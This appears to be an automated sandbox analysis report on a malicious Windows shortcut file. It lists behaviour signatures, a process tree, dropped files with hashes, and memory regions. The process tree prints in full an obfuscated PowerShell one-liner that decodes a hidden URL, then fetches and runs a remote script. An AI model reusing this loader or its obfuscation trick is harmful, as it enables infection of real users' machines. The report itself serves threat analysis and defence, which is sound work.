Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 12:18

General

  • Target
    photov_457696073689.lnk
  • Size 1KB
  • Sample260727-pg3bzastc1
  • SHA256 73791b4389f4408d3cff07b4077e79a409933bc4439741ccbb29641ec00fdad6
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 13 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_457696073689.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4916
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$zq13jn=9;$imwcz=60;$gdn0db=22;$xll3u5=[bigint]::Parse('6718855001960860781384201511182310699618895223999974');$m0pw3=[bigint]::Parse('6718854992009168380677136189174086276802339418925677');$xll3u5=$xll3u5-$m0pw3;$nv5esq1lv=@();while($xll3u5 -gt 0){$nv5esq1lv+=[char][int]([bigint]::Remainder($xll3u5,256));$xll3u5=[bigint]::Divide($xll3u5,256)};.([scriptblock]::Create((irm(-join$nv5esq1lv))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$zq13jn=9;$imwcz=60;$gdn0db=22;$xll3u5=[bigint]::Parse('6718855001960860781384201511182310699618895223999974');$m0pw3=[bigint]::Parse('6718854992009168380677136189174086276802339418925677');$xll3u5=$xll3u5-$m0pw3;$nv5esq1lv=@();while($xll3u5 -gt 0){$nv5esq1lv+=[char][int]([bigint]::Remainder($xll3u5,256));$xll3u5=[bigint]::Divide($xll3u5,256)};.([scriptblock]::Create((irm(-join$nv5esq1lv))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4436
        • C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\git.exe
          "C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:5076
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2412
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5884
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:4712

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_ptpqtqbo.w4q.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptpqtqbo.w4q.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        cfioh_ji_ptohd.zip

        • Path C:\Users\Admin\AppData\Local\Temp\cfioh_ji_ptohd.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\vcruntime140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2412-217-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-201-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-1385-0x0000000006DF0000-0x0000000007394000-memory.dmp

        memory/2412-1384-0x00000000067A0000-0x0000000006832000-memory.dmp

        memory/2412-1381-0x00000000054E0000-0x0000000005546000-memory.dmp

        memory/2412-127-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-197-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-199-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-130-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-131-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-133-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-136-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-137-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-139-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-141-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-118-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/2412-143-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-145-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-147-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-149-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-151-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-124-0x00000000051F0000-0x000000000520A000-memory.dmp

        memory/2412-125-0x0000000005260000-0x000000000528C000-memory.dmp

        memory/2412-126-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-237-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-240-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-235-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-233-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-231-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-230-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-228-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-225-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-224-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-221-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-220-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-153-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-215-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-213-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-211-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-209-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-207-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-205-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-203-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-155-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-195-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-194-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-191-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-189-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-187-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-186-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-184-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-181-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-180-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-177-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-176-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-173-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-171-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-169-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-167-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-165-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-164-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-161-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-159-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/2412-157-0x0000000005260000-0x0000000005286000-memory.dmp

        memory/4436-15-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4436-16-0x00000242F8AA0000-0x00000242F8FC8000-memory.dmp

        memory/4436-19-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4436-18-0x00000242F7E40000-0x00000242F7E4A000-memory.dmp

        memory/4436-17-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4436-12-0x00000242F7E50000-0x00000242F7E74000-memory.dmp

        memory/4436-21-0x00000242F81D0000-0x00000242F81E2000-memory.dmp

        memory/4436-8-0x00000242F7DD0000-0x00000242F7DF2000-memory.dmp

        memory/4436-14-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4436-9-0x00000242F83A0000-0x00000242F8562000-memory.dmp

        memory/4436-0-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4436-11-0x00000242F7E50000-0x00000242F7E7A000-memory.dmp

        memory/4436-10-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4436-13-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp

        memory/4712-98-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/5076-119-0x00007FF7376A0000-0x00007FF737B0F000-memory.dmp

        memory/5076-123-0x00007FFFA6570000-0x00007FFFA6596000-memory.dmp

        memory/5076-121-0x00007FFFA69A0000-0x00007FFFA69F2000-memory.dmp

        memory/5076-120-0x00007FFFA60E0000-0x00007FFFA6196000-memory.dmp

        memory/5076-122-0x00007FFF99D90000-0x00007FFF99EAF000-memory.dmp

        memory/5884-751-0x0000000000740000-0x00000000007B0000-memory.dmp